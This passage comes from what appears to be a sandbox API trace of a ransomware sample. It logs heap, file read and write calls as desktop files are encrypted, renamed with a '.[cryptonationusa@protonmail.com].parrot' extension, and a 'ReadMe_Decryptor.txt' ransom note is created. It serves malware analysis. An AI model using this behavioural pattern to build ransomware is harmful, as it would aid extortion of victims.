nNumberOfBytesToLockHigh=0x0) returned 1 [0032.886] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0032.886] ReadFile (in: hFile=0x23c, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0032.887] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.887] ReadFile (in: hFile=0x23c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x25a5, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x25a5, lpOverlapped=0x0) returned 1 [0032.887] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0032.887] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.887] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0032.887] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0032.887] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.887] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0032.887] GetLastError () returned 0x0 [0032.887] SetLastError (dwErrCode=0x0) [0032.887] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.887] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2700 [0032.887] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0032.887] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0032.887] GetLastError () returned 0x0 [0032.887] SetLastError (dwErrCode=0x0) [0032.887] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.888] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.888] GetLastError () returned 0x0 [0032.888] SetLastError (dwErrCode=0x0) [0032.888] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.888] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.888] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0032.888] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0032.888] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0032.888] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0032.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x639220 [0032.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0032.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5) returned 0x5d49a0 [0032.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0032.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.889] GetLastError () returned 0x0 [0032.889] SetLastError (dwErrCode=0x0) [0032.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2700 | out: hHeap=0x5b0000) returned 1 [0032.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0032.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0032.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.890] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0032.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0032.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0032.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0032.891] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0032.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0032.891] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0032.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.891] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0032.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.891] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0032.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.891] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x63d260 [0032.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0032.891] WriteFile (in: hFile=0x23c, lpBuffer=0x63d280*, nNumberOfBytesToWrite=0x26c8, lpNumberOfBytesWritten=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x63d280*, lpNumberOfBytesWritten=0x18f7a4*=0x26c8, lpOverlapped=0x0) returned 1 [0032.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d260 | out: hHeap=0x5b0000) returned 1 [0032.891] UnlockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x26bd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0032.891] CloseHandle (hObject=0x23c) returned 1 [0032.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x601838 [0032.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5d6de8 [0032.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.892] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\YjYYP1K-JxmugG9XF3.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\yjyyp1k-jxmugg9xf3.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\YjYYP1K-JxmugG9XF3.flv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\yjyyp1k-jxmugg9xf3.flv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0032.901] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.901] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0032.901] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0032.901] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0032.901] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x601838 [0032.901] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0032.901] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0032.902] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f598, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.902] GetFileType (hFile=0x23c) returned 0x1 [0032.902] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0032.912] lstrcmpW (lpString1="zBNu1_9Jb.mp3", lpString2="ReadMe_Decryptor.txt") returned 1 [0032.912] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\zBNu1_9Jb.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\zbnu1_9jb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.912] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18f820 | out: lpFileSizeHigh=0x18f820*=0x0) returned 0xe66b [0032.912] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe783, nNumberOfBytesToLockHigh=0x0) returned 1 [0032.912] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0032.912] ReadFile (in: hFile=0x23c, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0032.913] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.913] ReadFile (in: hFile=0x23c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe66b, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0xe66b, lpOverlapped=0x0) returned 1 [0032.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0032.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0032.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0032.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0032.913] GetLastError () returned 0x0 [0032.913] SetLastError (dwErrCode=0x0) [0032.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2700 [0032.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0032.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0032.913] GetLastError () returned 0x0 [0032.914] SetLastError (dwErrCode=0x0) [0032.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.914] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.914] GetLastError () returned 0x0 [0032.914] SetLastError (dwErrCode=0x0) [0032.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.914] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.914] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0032.914] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0032.914] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0032.914] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0032.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.914] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x639220 [0032.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0032.914] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x63d260 [0032.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0032.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x6452a0 [0032.998] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d260 | out: hHeap=0x5b0000) returned 1 [0032.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb) returned 0x606998 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0032.999] GetLastError () returned 0x0 [0032.999] SetLastError (dwErrCode=0x0) [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2700 | out: hHeap=0x5b0000) returned 1 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0032.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.999] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0032.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0032.999] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0033.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0033.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0033.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0033.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0033.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0033.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0033.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0033.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0033.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0033.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0033.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0033.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0033.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0033.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0033.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0033.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0033.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0033.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0033.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0033.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0033.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0033.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0033.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0033.000] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x639220 [0033.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0033.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x63c1b8 [0033.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0033.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6552e0 [0033.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63c1b8 | out: hHeap=0x5b0000) returned 1 [0033.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x639220 [0033.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6552e0 | out: hHeap=0x5b0000) returned 1 [0033.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x6552e0 [0033.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0033.003] WriteFile (in: hFile=0x23c, lpBuffer=0x655300*, nNumberOfBytesToWrite=0xe788, lpNumberOfBytesWritten=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x655300*, lpNumberOfBytesWritten=0x18f7a4*=0xe788, lpOverlapped=0x0) returned 1 [0033.003] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6552e0 | out: hHeap=0x5b0000) returned 1 [0033.004] UnlockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe783, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0033.004] CloseHandle (hObject=0x23c) returned 1 [0033.006] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x601838 [0033.006] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d6de8 [0033.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0033.006] MoveFileExW 